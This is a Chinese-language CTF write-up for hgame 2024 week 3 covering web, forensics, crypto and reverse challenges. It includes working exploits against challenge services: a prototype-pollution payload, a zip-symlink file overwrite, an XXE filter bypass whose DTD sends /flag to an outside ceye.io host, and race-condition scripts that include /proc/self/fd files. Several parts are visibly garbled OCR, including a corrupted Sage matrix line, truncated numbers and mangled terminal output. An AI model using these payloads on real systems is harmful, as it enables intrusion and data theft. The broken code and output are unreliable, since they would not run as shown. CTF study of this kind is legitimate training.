hgame2024_week3

web

WebVPN

源码:

```
const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");
const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();
app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
  session({
   name: session_name,
    secret: uuidv4().toString(),
   secure: false,
    resave: false,
    saveUninitialized: true,
 })
app.use(bodyParser.json());
var userStorage = {
  username: {
    password: "password",
    info: {
     age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
   },
  },
// 原型链污染 , 过滤 ___
function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") != -1) {
      continue;
    }
```

```
if (typeof src[key] == "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
   }
   dst[key] = src[key];
 }
}
app.use("/proxy", async (req, res) => {
  const { username } = req.session;
 if (!username) {
   res.sendStatus(403);
 }
 let url = (() => {
   try {
     return new URL(req.query.url);
   } catch {
     res.status(400);
     res.end("invalid url.");
     return undefined;
   }
 })();
 if (!url) return;
   console.log(url.hostname);
   console.log(username);
 if (!userStorage[username].strategy[url.hostname]) {
   res.status(400);
   res.end("your url is not allowed.");
 }
 try {
   const headers = req.headers;
   headers.host = url.host;
   headers.cookie = headers.cookie.split(";").forEach((cookie) => {
     var filtered_cookie = "";
     const [key, value] = cookie.split("=", 1);
     if (key.trim() !== session_name) {
       filtered_cookie += `${key}=${value}; `;
     }
      return filtered_cookie;
    });
    const remote_res = await (() => {
      if (req.method == "POST") {
        return axios.post(url, req.body, {
          headers: headers,
       });
      } else if (req.method == "GET") {
        return axios.get(url, {
         headers: headers,
       });
      } else {
        res.status(405);
        res.end("method not allowed.");
```

```
return;
     }
    })();
    res.status(remote_res.status);
    res.header(remote_res.headers);
    res.write(remote_res.data);
  } catch (e) {
    res.status(500);
    res.end("unreachable url.");
  }
});
app.post("/user/login", (req, res) => {
  const { username, password } = req.body;
  if (
   typeof username != "string" ||
   typeof password != "string" ||
   !username ||
   !password
  ) {
    res.status(400);
   res.end("invalid username or password");
   return;
  }
  if (!userStorage[username]) {
   res.status(403);
   res.end("invalid username or password");
   return;
  }
  if (userStorage[username].password !== password) {
   res.status(403);
   res.end("invalid username or password");
   return;
  }
  req.session.username = username;
  res.send("login success");
});
// under development
app.post("/user/info", (req, res) => {
  if (!req.session.username) {
   res.sendStatus(403);
  update(userStorage[req.session.username].info, req.body);
  res.sendStatus(200);
});
app.get("/home", (req, res) => {
  if (!req.session.username) {
   res.sendStatus(403);
   return;
  }
  res.render("home", {
    username: req.session.username,
    strategy: ((list)=>{
```

```
var result = [];
      for (var key in list) {
        result.push({host: key, allow: list[key]});
      }
      return result;
   })(userStorage[req.session.username].strategy),
 });
});
// demo service behind webvpn
app.get("/flag", (req, res) => {
 if (
    req.headers.host != "127.0.0.1:3000" ||
   req.hostname != "127.0.0.1" ||
   req.ip != "127.0.0.1"
 ) {
   res.sendStatus(400);
   return;
  const data = fs.readFileSync("/flag");
  res.send(data);
});
app.listen(port, '0.0.0.0', () => {
  console.log(`app listen on ${port}`);
});
```

观察这个函数

```
// 原型链污染 , 过滤 __
function update(dst, src) {
    for (key in src) {
        if (key.indexof("__") != -1) {
            continue;
        }
        if (typeof src[key] == "object" && dst[key] !== undefined) {
            update(dst[key], src[key]);
            continue;
        }
        dst[key] = src[key];
    }
}
```

这是一个原型链污染的函数,过滤了 _____,不能使用 ___proto___ 可以用 constructor.prototype 代替 ___proto___

找一下那里调用了这个函数

```
// under development
app.post("/user/info", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
  }
  update(userStorage[req.session.username].info, req.body);
  res.sendStatus(200);
});
```

这个路由调用了 update 函数, 可以原型链污染。

找一下触发flag的条件,知道需要污染什么

```
app.use("/proxy", async (req, res) => {
  const { username } = req.session;
 if (!username) {
   res.sendStatus(403);
 }
 let url = (() => {
   try {
     return new URL(req.query.url);
   } catch {
     res.status(400);
     res.end("invalid url.");
     return undefined;
 })();
 if (!url) return;
    console.log(url.hostname);
   console.log(username);
 if (!userStorage[username].strategy[url.hostname]) {
   res.status(400);
   res.end("your url is not allowed.");
 }
  try {
   const headers = req.headers;
   headers.host = url.host;
   headers.cookie = headers.cookie.split(";").forEach((cookie) => {
     var filtered_cookie = "";
     const [key, value] = cookie.split("=", 1);
     if (key.trim() !== session_name) {
       filtered_cookie += `${key}=${value}; `;
     }
     return filtered_cookie;
   });
    const remote_res = await (() => {
     if (req.method == "POST") {
        return axios.post(url, req.body, {
         headers: headers,
      } else if (req.method == "GET") {
        return axios.get(url, {
```

```
headers: headers,
        });
      } else {
        res.status(405);
        res.end("method not allowed.");
        return;
      }
    })();
    res.status(remote_res.status);
    res.header(remote_res.headers);
    res.write(remote_res.data);
  } catch (e) {
    res.status(500);
    res.end("unreachable url.");
 }
});
```

```
// demo service behind webvpn
app.get("/flag", (req, res) => {
  if (
    req.headers.host != "127.0.0.1:3000" ||
    req.hostname != "127.0.0.1" ||
    req.ip != "127.0.0.1"
) {
    res.sendStatus(400);
    return;
}
const data = fs.readFileSync("/flag");
    res.send(data);
});
```

可以知道我们需要通过 /proxy 路由访问 http://127.0.0.1:3000/flag 才能得到flag。

分析一下 /proxy 路由

传入一个 url 的参数,里面填上需要访问的网站,然后检查这个网站是不是允许访问的,是的话就访问,不是就返回 your url is not allowed.。

接下来就是需要污染了,我们需要把127.0.0.1污染成允许访问,因为默认是没有的。

本地测试代码:

```
var userStorage = {
    username: {
        password: "password",
        info: {
            age: 18,
        },
        strategy: {
            "baidu.com": true,
            "google.com": false,
        },
    },
};
```

```
function update(dst, src) {
  for (key in src) {
    if (typeof src[key] == "object" && dst[key] !== undefined) {
        //console.log(src[key]);
      update(dst[key], src[key]);
      continue;
    }
    //console.log(dst);
    dst[key] = src[key];
    //console.log(dst[key]);
  }
}
let url = new URL("http://127.0.0.1:3000/flag");
let o2 = JSON.parse('{"age":33,"constructor":{"prototype":
{"127.0.0.1":true}}}');
//console.log(url.hostname);
//console.log(o2);
//console.log(userStorage);
update(userStorage["username"].info, o2);
//console.log(userStorage["username"].strategy.test);
//console.log(userStorage['username'].strategy["127.0.0.1"]);
console.log(userStorage['username'].strategy[url.hostname]);
```

由此可以确定我们在 /user/info 路由传入的数据

| Raw | St | 3. | Hex |
| POST | Juser/info | HTTP/1.1
| Rost: 139:196.137.203:30047
| Content-Length: 59
| Pragma: no-cache |
| Cache-Control: no-cache |
| Cache-Control: no-cache |
| Content-Type: application/json |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) |
| Apple-WebKit/537.36 |
| Accept: text/html, application/xhtml+xml, application/signed-exchange; v=b |
| 3;q=0.7 |
| Pefeter: http://139.196.137.203:30047/user/info |
| Accept-Encoding: gzip, deflate |
| Accept-Encoding: gzip |
|

污染成功后,通过 /proxy 路由访问 http://127.0.0.1:3000/flag 即可得到flag。

Zero Link

部分源码:

routes.go

```
package routes
import (
    "fmt"
    "html/template"
    "net/http"
    "os"
    "os/signal"
    "path/filepath"
    "zero-link/internal/config"
    "zero-link/internal/controller/auth"
    "zero-link/internal/controller/file"
    "zero-link/internal/controller/ping"
    "zero-link/internal/controller/user"
    "zero-link/internal/middleware"
    "zero-link/internal/views"
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)
func Run() {
    r := gin.Default()
    html := template.Must(template.New("").ParseFS(views.FS, "*"))
    r.SetHTMLTemplate(html)
    secret := config.Secret.SessionSecret
    store := cookie.NewStore([]byte(secret))
    r.Use(sessions.Sessions("session", store))
    api := r.Group("/api")
    {
        api.GET("/ping", ping.Ping)
```

```
api.POST("/user", user.GetUserInfo)
        api.POST("/login", auth.AdminLogin)
        apiAuth := api.Group("")
        apiAuth.Use(middleware.Auth())
            apiAuth.POST("/upload", file.UploadFile)
            apiAuth.GET("/unzip", file.UnzipPackage)
            apiAuth.GET("/secret", file.ReadSecretFile)
        }
   }
   frontend := r.Group("/")
        frontend.GET("/", func(c *gin.Context) {
            c.HTML(http.StatusOK, "index.html", nil)
        })
        frontend.GET("/login", func(c *gin.Context) {
            c.HTML(http.StatusOK, "login.html", nil)
        })
        frontendAuth := frontend.Group("")
        frontendAuth.Use(middleware.Auth())
        {
            frontendAuth.GET("/manager", func(c *gin.Context) {
                c.HTML(http.StatusOK, "manager.html", nil)
           })
        }
   }
   quit := make(chan os.Signal)
    signal.Notify(quit, os.Interrupt)
    go func() {
        <-quit
        err := os.Remove(filepath.Join(".", "sqlite.db"))
        if err != nil {
            fmt.Println("Failed to delete sqlite.db:", err)
        } else {
            fmt.Println("sqlite.db deleted")
        }
        os.Exit(0)
   }()
    r.Run(":8000")
}
```

通过这里确定路由,接着是登录,我们需要找到 Admin 的密码。

在/api/user 路由能够查询用户,限制了 Username != "Admin"和 Token != "0000"。

```
func GetUserByUsernameOrToken(username string, token string) (*User, error) {
   var user User
   query := db
```

```
if username != "" {
        query = query.Where(&User{Username: username})
} else {
        query = query.Where(&User{Token: token})
}
err := query.First(&user).Error
if err != nil {
        log.Println("Cannot get user: " + err.Error())
        return nil, err
}
return &user, nil
}
```

主要查询函数是这个,通过传入空的 username 和 token 可以得到 Admin 的密码为 zb77jbeozkDdfQ12fzb0。



接着来到上传页面,查看 file.go 的代码

```
package file
import (
   "net/http"
   "os"
   "os/exec"
    "path/filepath"
    "zero-link/internal/util"
    "github.com/gin-gonic/gin"
)
type FileResponse struct {
           int
                `json:"code"`
   Message string `json:"message"`
    Data string `json:"data"`
}
func UploadFile(c *gin.Context) {
    file, err := c.FormFile("file")
   if err != nil {
        c.JSON(http.StatusBadRequest, FileResponse{
                     http.StatusBadRequest,
            Message: "No file uploaded",
```

```
Data: ""
       })
       return
   }
   ext := filepath.Ext(file.Filename)
   if (ext != ".zip") || (file.Header.Get("Content-Type") != "application/zip")
{
       c.JSON(http.StatusBadRequest, FileResponse{
           Code:
                   http.StatusBadRequest,
           Message: "Only .zip files are allowed",
           Data: "",
       })
       return
   }
   filename := "/app/uploads/" + file.Filename
   if _, err := os.Stat(filename); err == nil {
       err := os.Remove(filename)
       if err != nil {
           http.StatusInternalServerError,
               Message: "Failed to remove existing file",
               Data:
           })
           return
       }
   }
   err = c.SaveUploadedFile(file, filename)
   if err != nil {
       c.JSON(http.StatusInternalServerError, FileResponse{
           Code: http.StatusInternalServerError,
           Message: "Failed to save file",
           Data: "",
       })
       return
   }
   c.JSON(http.StatusOK, FileResponse{
       Code:
                http.StatusOK,
       Message: "File uploaded successfully",
       Data: filename,
   })
}
func UnzipPackage(c *gin.Context) {
   files, err := filepath.Glob("/app/uploads/*.zip")
   if err != nil {
       c.JSON(http.StatusInternalServerError, FileResponse{
                   http.StatusInternalServerError,
           Message: "Failed to get list of .zip files",
           Data:
       })
```

```
return
    }
    for _, file := range files {
        cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")
        if err := cmd.Run(); err != nil {
           c.JSON(http.StatusInternalServerError, FileResponse{
                       http.StatusInternalServerError,
               Code:
               Message: "Failed to unzip file: " + file,
               Data: "",
           })
            return
       }
   }
   c.JSON(http.StatusOK, FileResponse{
        Code: http.StatusOK,
        Message: "Unzip completed",
        Data: "",
   })
}
func ReadSecretFile(c *gin.Context) {
    secretFilepath := "/app/secret"
    content, err := util.ReadFileToString(secretFilepath)
    if err != nil {
        c.JSON(http.StatusInternalServerError, FileResponse{
           Code: http.StatusInternalServerError,
           Message: "Failed to read secret file",
           Data: "",
        })
       return
   }
    secretContent, err := util.ReadFileToString(content)
    if err != nil {
        c.JSON(http.StatusInternalServerError, FileResponse{
            Code: http.StatusInternalServerError,
           Message: "Failed to read secret file content",
           Data: "",
        })
        return
   }
    c.JSON(http.StatusOK, FileResponse{
        Code:
              http.StatusOK,
        Message: "Secret content read successfully",
       Data: secretContent,
   })
}
```

/api/secret 路由是读 /app/secret 文件的内容。

这里参考ciscn的 unzip,参考链接:【CISCN2023】unzip 详解

通过软链接把 /app 文件夹链接到 web 文件夹,然后解压到 /tmp ,之后再把新的 secret 解压到 web ,因为 web 文件夹是 /app 文件夹的软链接,解压到 web 文件夹等同于解压到 /app 文件夹,从而用新的 secret 覆盖掉旧的 secret 。

文件生成,需要保证根目录有 /app 文件夹

```
ln -s /app web
zip --symlinks aweb.zip web
echo "/flag" > web/secret
zip -y web/secret flag.zip
zip -y flag.zip web/secret
```

```
(root® kali)-[/home/amber/桌面/web/ZeroLink]
# ln -s /app web

(root® kali)-[/home/amber/桌面/web/ZeroLink]
# zip --symlinks web.zip web
adding: web (stored 0%)

(root® kali)-[/home/amber/桌面/web/ZeroLink]
# echo "/flag" > web/secret

(root® kali)-[/home/amber/桌面/web/ZeroLink]
# zip -y web/secret flag.zip
zip warning: name not matched: flag.zip

zip error: Nothing to do! (web/secret.zip)


(root® kali)-[/home/amber/桌面/web/ZeroLink]
# zip -y flag.zip web/secret
adding: web/secret (stored 0%)

(root® kali)-[/home/amber/桌面/web/ZeroLink]
# In -s /app web/secret | web/zeroLink]
# zip -y flag.zip web/secret | web/zeroLink]
# zip -y flag.zip web/secret | web/zeroLink]
# zip -y flag.zip web/secret | web/zeroLink]
```

先上传 web.zip 再上传 flag.zip, 顺序不能反。

每上传完一个文件都要访问一下 /api/unzip 解压

解压完后访问 /api/secret 即可得到真正的flag。



VidarBox

参考链接: RealWorld CTF 6th 正赛/体验赛部分Web Writeup

[XXE漏洞&绕过](https://www.cnblogs.com/CxAgoni/p/17715330.html)

关键代码:

```
package org.vidar.controller;
import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;
import java.io.*;
@Controller
public class BackdoorController {
    private String workdir = "file:///non_exists/";
    private String suffix = ".xml";
   @RequestMapping("/")
   public String index() {
        return "index.html";
    }
   @GetMapping({"/backdoor"})
    @ResponseBody
    public String hack(@RequestParam String fname) throws IOException,
SAXException {
        DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
        System.out.println(this.workdir + fname + this.suffix);
        byte[] content = resourceLoader.getResource(this.workdir + fname +
this.suffix).getContentAsByteArray();
        if (content != null && this.safeCheck(content)) {
            XMLReader reader = XMLReaderFactory.createXMLReader();
            reader.parse(new InputSource(new ByteArrayInputStream(content)));
            return "success";
        } else {
            return "error";
        }
    }
    private boolean safeCheck(byte[] stream) throws IOException {
        String content = new String(stream);
        return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
```

```
!content.contains("doctype") && !content.contains("entity");
}
```

在 reader.parse 存在xxe,但是xxe是从文件加载进来的,题目没有上传接口,而且读取文件指定了用file://协议,也不能从外面读取数据(好像有方法能读,但是我不会,也没找到方法)

先考虑xxe的过滤绕过,可以采用 UTF-16be 来绕。

先用正常的payload, 然后转成 UTF-16be 即可。

```
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
```

接着是回显问题,题目成功只返回了success,没有xxe数据的回显,要外带出来。

text.xml,接下来要上传到靶机上的:

```
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://[ip]:[port]/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
```

test.dtd, 放在自己服务器上的:

```
<!ENTITY % all "<!ENTITY send SYSTEM 'http://kbqsag.ceye.io?file=%file;'>">
```

先本地验证确保xxe能正常带出,再进行接下来的操作。

第二步是如何把 test.xml 放到服务器上,这里就类似与php的临时文件包含了,强制上传文件会使得服务器短暂生成临时文件,只要我们够快,把临时文件包含进来,即可加载自定的 xml 文件。

这里参考了 rwctf 2024 正式赛的 chatterbox , 里面的 file协议和题目一模一样。

直接抄脚本,开始条件竞争。

uolaod.py (用来上传文件):

```
import requests
import io
import threading
url='http://139.196.183.57:32517/' #引入url
def write():

    while True:
        response=requests.post(url,files={'file':('poc',open('new.xml','rb'))})
        #print(response.text)
if __name__=='__main__':
        evnet=threading.Event()
```

```
with requests.session() as session:
    for i in range(10):
        threading.Thread(target=write).start()
evnet.set()
```

xxe.py (用来包含临时文件):

```
import requests
import io
import time
import threading
while True:
   for i in range(10, 35):
        try:
            #print(i)
            url = f'http://139.196.183.57:32517/backdoor?
fname=..%5cproc/self/fd/{i}%23' # 引入url
            # print(r.cookies)
            response = requests.get(url,timeout=0.5)
            print(i,response.text)
            if response.text == 'success' or response.text == 'error':
                print(i,response.text)
                time.sleep(10)
        except:
            pass
            #print("no")
```

上面两个python脚本开两个命令行同时跑

放着自己跑一会,之后即可得到flag

ID	Name	Remote Addr	Method	Dat
103858557	http://kbqsag.ceye.io/?file=hgame{85cd4471a80cd3a5f2c594e921bfe2a8f92c827b}	106.14.113.240	GET	
103858520	http://kbqsag.ceye.io/?file=hgame{85cd4471a80cd3a5f2c594e921bfe2a8f92c827b}	106.14.113.240	GET	
103858440	http://kbqsag.ceye.io/?file=hgame{85cd4471a80cd3a5f2c594e921bfe2a8f92c827b}	106.14.113.240	GET	
103858406	http://kbqsag.ceye.io/?file=hgame{85cd4471a80cd3a5f2c594e921bfe2a8f92c827b}	106.14.113.240	GET	
103858032	http://kbqsag.ceye.io/?file=flag{test_flag}	120.235.7.144	GET	

hgame{85cd4471a80cd3a5f2c594e921bfe2a8f92c827b}

与ai聊天

复读机的胜利(



Blind SQL Injection

参考链接: sqlmap盲注流量的一点分析

先把payload和返回数据都提取出来,用tshark过滤

```
tshark -r blindsql.pcapng -Y "ip.src == 117.21.200.176 && http.response" -T fields -E separator="~" -e http.response_for.uri -e http.file_data > data1.txt
```

解释一下, ip.src == 117.21.200.176 是服务器发出的包, http.response 是指过滤http返回内容, -E separator 是设置输出分隔符, -e 代表输出流量中对应字段, 在这里输出返回包中的uri和数据。

之后再观察成功和失败的包,找到成功的标志为 ERROR ,注入语句的标志为 group_concat(password))) From(F1naI1y)),。

之后就是编写脚本了:

```
import urllib.parse
# 读入数据,数据中存在不可见字符,因此用rb模式
f = open("data1.txt", "rb").readlines()

# 注入语句。
pattern = "group_concat(password)))From(F1naI1y)),"

# 注入成功
trueInjection = "ERROR"
temp = {}


for i in range(0, len(f)):
    line = str(f[i])[2:]
```

```
# 上一步插入的分隔符,把数据分为url和data两部分
   if line.find("\sim") == -1:
       continue
   url, data = line.split("~")[0],line.split("~")[1]
   url = urllib.parse.unquote(url).strip()
   positions = url.find(pattern)
   if positions != -1:
       # 截取参数, data1 表示第几位数据, data2表示这一位数据的ascii值
       data1 = url[positions+len(pattern):].split(",")[0]
       data2 = url[positions+len(pattern):].split(">")[1].split(")")[0]
       # print(data1,data2)
       # data3: 注入结果的判断
       if data.find(trueInjection) != -1:
           data3 = True
       else:
           data3 = False
       if data1 not in temp:
           temp[data1]=[(data2,data3)]
           temp[data1].append((data2,data3))
   else:
       continue
# 盲注使用了二分法, 所以也要根据这一点写代码解析数据
text=""
for i in temp:
   small = -1
   large = -1
   for j in temp[i]:
       if j[1] :
           small = j[0]
       else:
           large = j[0]
   if large != -1:
       text+=chr(int(large))
print(text[::-1])
# ,flag{cbabafe7-1725-4e98-bac6-d38c5928af2f}
```

简单的vmdk取证

用 7-zip 解压 vmdk。

用 SAMInside 查看 SAM , 获取 Administrator 登录密码的NT哈希值。



cmd5 解密,可以得到密码明文。



flag:

hgame{DAC3A2930FC196001F3AEAB959748448_Admin1234}

简单的取证,不过前十个有红包


还是上一题的 vmdk 镜像,查看桌面,可以得到 veraCrypt 的密码。

968fJD17UBzZG6e3yjF6

veracrypt_password 968fJD17UBzZG6e3yjF6

拿到密码后用 VeraCrypt 挂载 Vera.hc ,输入密码挂载成功后,打开挂载盘即可得到flag。

hgame{happy_new_year_her3_1s_a_redbag_key_41342177}



Crypto

exRSA

源码:

```
from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getStrongPrime(1024)
q=qetStrongPrime(1024)
phi=(p-1)*(q-1)
h1=inverse(getPrime(768),phi)
h2=inverse(getPrime(768),phi)
h3=inverse(getPrime(768),phi)
n=p*q
c = pow(m, 0 \times 10001, n)
print(f'h1={e1}')
print(f'h2={e2}')
print(f'h3={e3}')
print(f'c={c}')
print(f'n={n}')
h1=50770482378119694274731112253708761225289674470565518991236134617926880028967
88394304192917610564149766252232281576990293485239684145310876930997918960070816
96882915037687595340542080958626715317171749619833686108952370183209832228450193
11428898175758167617050449517055308493279288498481586430306933631437570632205847
14925893965587967042137557807261154117916358519477964645293471975063362050690306
35362749298086100843976536583762265797795806985328805630725316750988325812294988
22770216653178072533089063556704721723461711772676880649593971869261039872595515
86627965406979118193485527520976748490728460167949055289539
h2=12526848298349005390520276923929132463459152574998625757208259297891115133654
11764821578294533252908136527386031620113079330657077773507653477216899970589564
12075353038394550740030576878103811109783209889760113261069199407991609742283118
24760046370273505511065619268557697182586259234379239410482784449815732335294395
67630222641686370934003298761271515191608429182109546262582102313356041532582488
53472213914969372132463617363612708467411285575956030527136125284537099484031007
11277679641218520429878897565655482086410576379971404789212297697553748292438183
065500993375040031733825496692797699362421010271599510269401
h3=12985940757578530810519370332063658344046688856605967474941014436872720360444
04046464479098097699139397094702339835742220387328429484340114406501391146367050
15598886011451086519610983482508241666976655284176683744088145729597227890201103
96245076275553505878565603509466220710219260037783849276475397283421068716088638
18699477815354281768196305958165110356357880414515615758433671267888299568563261
56868539801760476833269742838963433229815211502113175975715545424889212901581226
34140571148036732893808064119048328855134054709120877895941670166421664806186710
346824494054783025733475898081247824887967550418509038276279
```

c = 141417606015230184211049709802459718924625917201933541490012745209823394304182n = 17853303733838066173110417890593704464146824886316456780873352559969742615755294466664439529352718434399552818635352768033531948009737170697566286848710832800

拓展维纳攻击 (Extending Wiener Attack)

参考链接: 扩展维纳攻击

脚本:

sage

from gmpy2 import invert

e1=50770482378119694274731112253708761225289674470565518991236134617926880028967 e2=12526848298349005390520276923929132463459152574998625757208259297891115133654 e3=12985940757578530810519370332063658344046688856605967474941014436872720360444

```
c=141417606015230184211049709802459718924625917201933541490012745209823394304182
59260285174370753162949433553239474589280105569129091397392829242555066473056968
72907898950473108556417350199783145349691087255926287363286922011841143339530863
30019823923149070739338307617479181899415881585739193080293628044758880844060741
53773913366045334400997938492378572475575823073913293205159960218200003555605142
17505643587026994918588311127143566858036653315985177551963836429728515745646807
12363719325985985663045215513898661027206748025733059214613510819008357887309413
3114440050860844192259441093236787002715737932342847147399
N=178533037338380661731104178905937044641468248863164567808733525599697426157552
94466664439529352718434399552818635352768033531948009737170697566286848710832800
42631132856092413369848165359400772787703150626570634156081058806420968180914659
75721261733034631256681838378404276671018272347528237474837929445368930701880103
57644478512143332014786539698535220139784440314481371464053954769822738407808161
94694321671472968582089697246702089349334905124398339001876207681286867809817241
64656915502853728464029919957943490158388682216862163965973272731101659227898143
15858462049706255254066724012925815100434953821856854529753
a=768./2048
D=diagonal_matrix(ZZ,[N**1.5,N,N**(a+1.5),N**(0.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N**(a+1.5),N*
(a+1),1])
M=matrix(ZZ,[[1,-N,0,N**2,0,0,0,-N**3],
                         [0,e1,-e1,-e1*N,-e1,0,N*e1,N**2*e1],
                         [0,0,e2,-e2*N,0,N*e2,0,N**2*e2],
                         [0,0,0,e1*e2,0,-e1*e2,-e1*e2,-N*e1*e2],
                         [0,0,0,0,e3,-N*e3,-N*e3,N**2*e3],
                         [0,0,0,0,0,e1*e3,0,-N*e1*e3],
                         [0,0,0,0,0,0,e2*e3,-N*e2*e3],
                         [0,0,0,0,0,0,0,e1*e2*e3]])*D
I = M.III()
t=vector(ZZ,L[0])
x=t*M**(-1)
phi=int(x[1]/x[0]*e1)
d=invert(0x10001,phi)
m=pow(c,d,N)
# print(m)
print(bytes.fromhex(hex(m)[2:]))
b"hgame{Ext3ndin9_W1en3r's_att@ck_1s_so0o0o_ea3y}"
```

Reverse

mystery

参考链接: RE-RC4加密分析

先ida分析:

```
≣ LNA View—A 🔝 💛 🖂 l'Seudocode—l' 🔝 💛 🖂 l'Seudocode—l' 🔝 💢 l'Seudocode—l' 🔝 💢 l'Seudoco
 1 int sub 1100()
 2 {
 3
    puts("please input your flag:\n");
 4
     __isoc99_scanf("%s", s1);
 5
     memset(&SS1, 0, 0x100uLL);
    rc4_init((__int64)&SS1, (__int64)&Key, strlen((const char *)&Key));
 6
     rc4_new((__int64)&SS1, s1, strlen(s1));
 7
     if (!strcmp(s1, byte_4010))
 8
      return puts("Congratulations!\n");
 9
10
11
       return puts("Wrong!please try again!");
12 }
```

这是主要的运行函数,实现了一个类似 RC4 加密的效果。前面的初始化和rc4的一样,就后边的异或变成了减。

```
TERRITOR TO TERROUSE TO TERROU
                        int64 __fastcall sub_1500( int64 a1, _BYTE *a2, __int64 a3)
          1
           2 {
                          _BYTE *v3; // r10
          3
                         unsigned int v4; // er9
           5
                         unsigned int v5; // er8
                     char *v6; // rax
           6
                         char v7; // dl
          8
                      char *v8; // rcx
                         <u>int64</u> result; // rax
          9
       10
 11
                         if ( a3 )
       12
                        {
                                v3 = &a2[a3];
 13
 14
                               LOBYTE(\vee4) = 0;
15
                               LOBYTE(v5) = 0;
       16
       17
                                       v5 = (unsigned __int8)(v5 + 1);
 18
19
                                        v6 = (char *)(a1 + v5);
                                       v7 = *v6;
20
21
                                       v4 = (unsigned int8)(*v6 + v4);
22
                                       v8 = (char *)(a1 + v4);
23
                                       *v6 = *v8;
24
                                     *v8 = v7;
                                       result = *(unsigned __int8 *)(a1 + (unsigned __int8)(*v6 + v7));
 25
26
                                      *a2++ -= result;
       27
 28
                                while ( v3 != a2 );
       29
 9 30
                      return result;
31 }
```

查看其他函数

```
TINA ATEM W [7] | FELT ZERTOCORGE L [7] | FELT ZERTOCORGE D [7] | FELT ZERTOCO
                                  int64 sub 1220()
         1
          2 {
                                 unsigned __int64 v0; // rax
         3
         4
         5
                                Key ^= 0x2F2F2F2F2F2F2F2FuLL;
         6
                                word_4040 ^= 0x2F2Fu;
                                  *(_DWORD *)aDjvdjv ^= 0x2F2F2F2Fu;
                               *(_WORD *)&aDjvdjv[4] ^= 0x2F2Fu;
         8
         9
                                v0 = strlen(aDjvdjv);
